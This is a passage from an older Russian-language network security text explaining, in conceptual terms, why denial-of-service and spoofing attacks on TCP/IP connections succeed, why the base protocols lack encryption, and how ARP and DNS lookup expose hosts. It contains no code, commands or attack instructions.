| Внедрение в РВС ложного объекта путем использования недостатков алгоритмов удаленного поиска | - | + | + | + | - | + | - | + | + | - | + | + | - | + | + | + | - | - | - |
| Отказ в обслуживании | - | + | - | - | + | - | - | + | - | + | + | + | - | + | + | + | + | + | + |
Как было показано в п. 3.2.4 и в п. 4.6 (нарушение работоспособности хоста в сети Internet) объекты распределенной ВС, взаимодействующие по виртуальным каналам, могут подвергаться типовой УА "Отказ в обслуживании" . Особенность этой атаки состоит в том, что, действуя абсолютно легальными средствами системы, можно удаленно добиться нарушения ее работоспособности. Напомним, что, данная УА реализуется передачей множественных запросов на создание соединения (виртуального канала), в результате чего либо переполняется число возможных соединений, либо система, занятая обработкой ответов на запросы, вообще перестает функционировать. В чем причина успеха данной УА? В предыдущем пункте было показано, что взаимодействие объектов РВС по виртуальным каналам позволяет единственным способом обеспечить защиту соединения в глобальной сети. Однако в использовании ВК есть как несомненные плюсы, так и очевидные минусы. К минусам относится необходимость контроля над соединением. При этом задача контроля распадается на две подзадачи:
контроль за созданием соединения;
контроль за использованием соединения.
Если вторая задача решается довольно просто (обычно соединение разрывается по тайм-ауту, определенному системой - так сделано во всех известных сетевых ОС), то решение задачи контроля за созданием соединения представляется нетривиальным (п. 6.4). Именно отсутствие приемлемого решения этой задачи является основной причиной успеха типовой УА "Отказ в обслуживании" . Сложность контроля над созданием ВК состоит в том, что в системе, в которой отсутствует статическая ключевая информация о всех ее объектах, невозможно отделить ложные запросы на создание соединения от настоящих. Очевидно также, что если один субъект сетевого взаимодействия будет иметь возможность анонимно занимать неограниченное число каналов связи с удаленным объектом, то подобная система может быть полностью парализована данным субъектом (пример - существующая сеть Internet в стандарте IPv4)! Поэтому, если любой объект в распределенной системе может анонимно послать сообщение от имени любого другого объекта (например, в Internet маршрутизаторы не проверяют IP-адрес источника отправления), то в подобной распределенной ВС в принципе невозможен контроль за созданием виртуальных соединений. Поэтому основная причина, по которой возможна типовая УА "Отказ в обслуживании" и ей подобные - это отсутствие в РВС возможности контроля за маршрутом сообщений.
В существующих базовых протоколах семейства TCP/IP, обеспечивающих взаимодействие на сетевом-сеансовом уровнях, не предусмотрена возможность шифрования сообщений, хотя очевидно, что добавить ее в протокол TCP не составляло труда. Разработчики этих базовых протоколов решили переложить задачу криптозащиты на протоколы более высоких уровней, например, прикладного. При этом базовые протоколы прикладного уровня (FTP, TELNET, HTTP и др.) также не предусматривали никакого шифрования сообщений. Только недавно появился общедоступный прикладной протокол SSL, встроенный в Netscape Navigator, позволяющий как надежно зашифровать сообщение, так и подтвердить его подлинность (п. 7.2.2.1).
В заключении к этой главе хотелось бы заметить, что все описанные выше причины, по которым возможны удаленные атаки на сетевые соединения, делают сеть Internet небезопасной. Поэтому, в принципе, все пользователи этой сети пользуются ее услугами на свой страх и риск и могут быть атакованы в любой момент. В настоящее время пользователи сети Internet в большинстве своем из-за абсолютного непонимания источников и реальной силы угроз находятся в постоянном беспокойстве. Это напоминает тот вирусный бум, который был в начале 90-х годов. Данная глава преследовала цель объяснить и продемонстрировать исходящие из сети Internet возможные угрозы и причины их возникновения.
Очевидно, что в глобальной сети невозможно обеспечить на каждом ее объекте наличие информации о любом другом объекте в сети. Поэтому, как говорилось ранее, необходимо использовать потенциально опасные алгоритмы удаленного поиска. В сети Internet используется по меньшей мере два алгоритма удаленного поиска: ARP и DNS. Удаленные атаки, направленные на эти протоколы см. в п. 4.2-4.3.